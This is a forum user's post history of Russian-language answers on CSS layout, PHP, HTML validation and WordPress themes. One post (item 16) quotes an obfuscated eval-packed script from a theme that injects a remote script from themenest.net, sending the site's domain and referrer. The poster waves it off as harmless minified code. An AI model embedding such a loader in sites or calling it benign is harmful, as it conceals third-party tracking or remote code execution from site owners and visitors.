Jump to content

NeoXidizer

User
  • Posts

    372
  • Joined

  • Last visited

  • Days Won

    5

Everything posted by NeoXidizer

  1. попробуйте сначала увеличить картинку в браузере (навести на картинку и нажать на нее, она должна раскрыться в свое полное разрешение), а затем пытаться вывести на печать таким образом данный код <?php $image=imagecreate(1240,1674); imagecolorallocate($image,0,0,0); header('Content-Type: image/png;'); imagepng($image); ?> позволяет заполнить весь лист A4 черным цветом. Не забудьте поставить Margins: None
  2. загуглили бы, проблеме сто лет в обед. http://docs.oracle.com/cd/E19957-01/806-3568/ncg_goldberg.html http://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%B0_%D1%81_%D0%BF%D0%BB%D0%B0%D0%B2%D0%B0%D1%8E%D1%89%D0%B5%D0%B9_%D0%B7%D0%B0%D0%BF%D1%8F%D1%82%D0%BE%D0%B9 http://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BA%D1%81%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D0%B7%D0%B0%D0%BF%D1%8F%D1%82%D0%B0%D1%8F http://en.wikipedia.org/wiki/Floating_point http://www.php.net/manual/ru/language.types.float.php#warn.float-precision "Java себя показала правильнее C и не стала вообще компилиться." - возможно "костыль" в компиляторе, который запрещает такое неявное (для человека) поведение
  3. Начальное значение свойства width - auto, overflow - visible. нwidth:100%, в данном случае, не сыграет абсолютно никакой роли, как и oveflow, поэтому не вижу смысла их указывать
  4. В таком случае извиняюсь и отправляю баг репорт
  5. overflow: hidden - не отображать то, что вышло за рамки объекта. Вы же задали элементу outer фиксированную ширину и высоту - 100px, а элемент с классом inner через position:absolute поместили за рамки элемента с классом outer на 150px. Либо увеличьте фиксированную ширину/высоту, либо помещайте дочерний элемент в пределах родительского
  6. Посмотрим ваш CSS код. html, body, form { margin: 0; padding: 0; } html { height:100%; } body { height:auto !important; height:100%; min-height:100%; min-width:760px; } #container { background: #ccc; width: 100%; margin: auto; min-height: 100%; height: 100%; overflow: auto; } #header { height: 100px; background: #3366FF; } #content { background: #CC33FF; } #antifooter { height: 100px; background: #000; } #footer { background: #B88A00; height: 100px; margin-top: -100px; }? Первая ошибка - вы задаете элементам свойства, которые уже заданы по умолчанию или ничего, по своей сути, не изменяют при данных условиях. Например width: 100%; margin: auto; overflow: auto; и т.д. Изучите, какие CSS свойства применяются по умолчанию, и избавьте себя от необходимости явно их задавать. Вторая ошибка - вы назначаете одно и тоже свойство одному элементу. Давайте подумаем, какое из этих свойств будет применено body { height:auto !important; height:100%; min-height:100%; min-width:760px; }применяется то правило, которое было задано последним, либо с пометкой !important, значит height:100%;, согласно вашему коду, является лишним. Хотя, чтобы ваш макет заработал, нужно как раз убрать "height:auto !important", как это сказано ниже, а height:100%; оставить Третья ошибка - не использовать HTML5. Браузеры уже достаточно давно принудительно рендерят страницу с использованием HTML5 парсера, и отучить их от этого нельзя. Следовательно, код можно упростить: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <link rel="stylesheet" href="new.css"> </head> <body> <div id="container"> <div id="header"> HEADER </div> <div id="content"> CONTENT </div> <div id="antifooter"></div> </div> <div id="footer"> FOOTER </div> </body> </html> ?а так же рекомендуется заменить <div id="header></div> на <header></header>, но это уже ваше дело. (так как новые HTML5 теги не поддерживают старые IE, а для поддержки нужно подключать на страницу скрипт) Четвертая ошибка - попытка изобрести велосипед или пытаться реализовать "вредный совет". Существует куча готовых решений, как растянуть контент страницы на всю высоту окна браузера. Воспользуйтесь одним из них, например: http://jsfiddle.net/kUBAT/ посмотреть результат: http://jsfiddle.net/kUBAT/embedded/result/ (решение было подогнано под ваш код) проверил на кроссбраузерность, работает в последних Google Chrome, Safari, Opera, Firefox, IE8+, возможно и в более ранних версиях, возможности проверить нет. Можно найти полностью кроссбраузерное решение, вплодь до IE6 (но надо ли?) P.S. не сверяйтесь первоначально по опере, в ней слишком много багов, чтобы она была эталоном. Используйте Google Chrome, либо Firefox (всегда последних версий)
  7. вы хотя бы пробовали искать? или сразу на форум, чтобы за вас поискали? http://ru.opera.com/developer/tools/mobile/ - первая ссылка в гугле. Под другие браузеры/телефоны можете найти самостоятельно
  8. в любом случае, либо в файлах темы, либо в сообщении создаваемой записи
  9. искать в коде своей темы <img src="" alt='Привет, мир!' width='500px' height='335px' /> и изменить на <img src="" alt='Привет, мир!' width='500' height='335' /> или вообще удалить, это простой элемент картинки, без указания адреса к самой картинке
  10. <img src="" alt='Привет, мир!' width='500px' height='335px' /> в движке нигде вывод не заложен
  11. из-за .wrap .wrap_t .wrap_2 .main > section { border-left: 1px solid #C5C7BD; }
  12. 8 бит на каждый канал означает 24 бита, что и используется в ОС. Остальные 32-24=8 бит, это альфа канал, тобишь смесь обычных пикселей и полупрозрачных И если погуглить, то рекомендуют разрешение 72 pixels/inch. и вообще можно не париться, давно все придумали за вас. При создании нового файла нужно выбрать Preset:Web и выбрать Size, все остальное оставить по умолчанию
  13. а в antigravity будет похлеще "print "Hello, world!"
  14. сами придумали, сами обиделись про доктайп никто, кроме вас, и слова не сказал я только опроверг ваше выражение "половину "ошибок" как рукой снимет." в данном случае
  15. http://codex.wordpress.org/Function_Reference/get_sidebar
  16. Вы хотя бы смотрели код страницы?Поменяв <!DOCTYPE html> вылезет в два раза больше ошибок, чем есть сейчас! <script type="text/javascript"> eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{})); </script> валидатор ругается на HTML код в минифицированном javascript. Зачем на такие ошибки обращать внимание?
  17. это "ошибки" в javascript, на них в валидаторе можно не обращать внимание
  18. потому что PHP и Java это разные области вы ведь не ездите на жигули по пустыне? Берете джип. Так и в разработке, инструменты выбираются в зависимости от целей Легче читать и писать - плохому танцору и яйца мешают
  19. Программа на языке Brainfuck, печатающая «Hello World!»: ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++ .>+.+++++++..+++.>++.<<+++++++++++++++.>.+++. ——.——--.>+.>. если мозгов нет, то и на "красивом языке" Hello World не напишешь. Отступы - лишь форматирование текста, что за бред и чем php не нравится?
  20. У валидатора нет мнения. Он выдает список допущенных ошибок, а так же рекомендации, которых, раз их создали, стоит придерживаться
  21. можно воспользоваться классом CFileHelper из фреймворка Yii: class CFileHelper { public static function findFiles($dir, $options = array()) { $fileTypes = array(); $exclude = array(); $level = -1; extract($options); $list = self::findFilesRecursive($dir, '', $fileTypes, $exclude, $level); sort($list); return $list; } protected static function findFilesRecursive($dir, $base, $fileTypes, $exclude, $level) { $list = array(); $handle = opendir($dir); while (($file = readdir($handle)) !== false) { if ($file === '.' || $file === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $file; $isFile = is_file($path); if (self::validatePath($base, $file, $isFile, $fileTypes, $exclude)) if ($isFile) $list[] = $path; else if ($level) $list = array_merge($list, self::findFilesRecursive($path, $base . '/' . $file, $fileTypes, $exclude, $level - 1)); } closedir($handle); return $list; } protected static function validatePath($base, $file, $isFile, $fileTypes, $exclude) { foreach ($exclude as $e) if ($file === $e || strpos($base . '/' . $file, $e) === 0) return false; if (!$isFile || empty($fileTypes)) return true; if (($type = pathinfo($file, PATHINFO_EXTENSION)) !== '') return in_array($type, $fileTypes); else return false; } }(здесь я вырезал не нужные для вашего случая функции) Помещаете этот код посреди вашего кода, или же помещаете этот код в отдельный файл, а затем подключаете этот файл через include Использование: findFiles($dir, array $options=array ( )) $dir - директория, в которой ищутся файлы $options - массив с настройками поиска, возможны следующие настройки: fileTypes: массив со списком расширений файлов (без точки). Если указано, возвращает только файлы с указанным расширением. exclude: массив, список директорий или файлов, которые нужно исключить из результатов. Исключение может являться названием файла/папки, или же абсолютным путем. level: целое число, глубина рекурсии. По умолчанию = -1. Уровень -1 означает поиск по всем директориям внури указанной директории; Уровень 0 означает поиск файлов только в директории, исключая поддиректории. Произвольный уровень означает поиск по произвольному уровню вложенности папок. Пример использования: $files = CFileHelper::findFiles(realpath($_SERVER['DOCUMENT_ROOT']), array('level' => 0)); echo '<pre>'; print_r($files); echo '</pre>'; вернет в моем случае: что означает поиск по самой верхней директории сайта, не просматривая вложенные папки. я описал, как можно получить список файлов из директории, согласно вопросу "Можно ли как-нибудь вывести все фотографии которые там находятся на страницу.", думаю вы сможете обработать вывод функции, чтобы выводить файлы на странице но если что, вот подсказка $img_files = CFileHelper::findFiles(realpath($_SERVER['DOCUMENT_ROOT'] . '/images/'), array('level' => 0)); foreach ($img_files as $key => $img_file) $images[] = basename($img_file); foreach ($images as $key => $image) { echo '<img src="/images/'.$image.'"/>'; }
  22. NeoXidizer

    highload

    что?... Верстате/кодируете как вам угодно на тестовой машине На продакшене используете спрайты, минизированный html, css, js или по вашему мнению, ради удобства человека, который смотрит в код только в начале существования проекта, а затем передает его заказчику, который лишь занимается контентом, нужно загружать компьютеры пользователей?
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy